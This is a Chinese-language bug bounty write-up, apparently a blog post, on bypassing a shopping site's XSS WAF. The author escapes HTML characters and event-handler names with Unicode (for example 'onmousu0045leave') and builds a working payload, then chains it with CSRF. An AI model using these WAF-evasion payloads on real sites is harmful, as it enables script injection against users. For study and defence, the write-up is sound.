BUG賞金 | Unicode與WAF—XSS WAF繞過

  • 2019 年 12 月 23 日
  • 筆記

圖片來源於網路

通過標題,您可能會知道這是有關使用UNICODE進行 XSS WAF繞過的文章。因此,讓我們給你一個關於我正在測試的應用程式的小想法。有一個名為「以後保存」 的選項,該選項將項目保存在您的帳戶中以備後用。該請求看起來像:

如果用戶進行了正確的身份驗證,則此發布請求會將項目保存在用戶帳戶中,以供以後使用;如果用戶未進行正確的身份驗證,則該請求僅會返回一些值。因此,我在參數上進行黑盒測試,並注意到傳遞的參數值在響應主體中得到返回,而在經過身份驗證和未經身份驗證的場景中都沒有適當的轉義。我發送了一個如下的參數值:

xss "><

返回的結果如下:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"           data-productid="<ID>" data-channel="xss"><" data-quantity="1"           data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>

我們輸入的值在<a>標記內,由於引號和小於/大於-符號未正確過濾,因此我們可以跳出該值。因此,我認為我有很多方法可以在這裡進行XSS,直到我輸入 xss 」 onclick = 「 alert(1)並且響應為:

因此,存在WAF。為了繞開它,我開始模糊測試,結果是:

xss " onclick= " alert(1)    ==> WAF  xss " xss = " alert(1)       ==> WAF  xss " xss = " xxx(1)         ==> 沒有WAF

因此,我嘗試創建一個標籤,而不是在<a>標籤中添加事件屬性,然後輸入xss 」> <xss> test,響應為:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>"            data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"            data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至購物車</a>

因此,它還刪除了看起來像tag的上下文。因此,我們沒有創建標籤的優勢。因此,我們唯一的方法是繞過WAF 在<a>標記中使用事件屬性。我嘗試通過fuzzdb使用html-event-attributes.txt 進行暴力破解。以看看是否有事件沒有被WAF阻止然而並沒有什麼有值得關注的。

然後我考慮了一下進行unicode編碼,輸入了一個隨機的unicode看看它在響應中是否解碼。值得慶幸的是它將unicode解碼成它的原始的字元。所以現在我再次開始使用unicode + events的形式,結果是:

 xss " u003Eu003Cxssu003Etest"             ==> xss"> <xss> test"   xss " xss = "cou006efirm(domain)"          ==> 沒有WAF   xss " oncu006Cick = "cou006efirm(domain)" ==> HTTP / 1.1 403禁止

所以我們現在有了新的有利條件,同樣也有了新的問題。

有利條件是我們現在可以使用unicode創建HTML標籤。

問題是我們添加oncu006Cick事件會收到一個新的錯誤 HTTP / 1.1 403 Forbidden。

因此,我再次通過html-event-attributes.txt + Unicode製作了一個單詞表,並得到了onmousu0045leave和ondu0072ag事件返回了 HTTP / 1.1 200 OK。同樣我們還可以創建HTML標籤。所以我得到了最後的有效載荷:

xss"u003Eu003Ch1 onmousu0045leave=cou006efirm(domain)u003Ecome to meu003C/h1u003Eu003Cbru003Eu003C!--

響應主體是:

<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"            data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1"            data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至購物車</a>                     

將滑鼠指針放在come to me上,然後移開:

現在,因為這是一個POST請求,並且沒有CSRF保護,所以我將CSRF + XSS = P2的存儲型XSS鏈接到已認證的用戶:

Tags: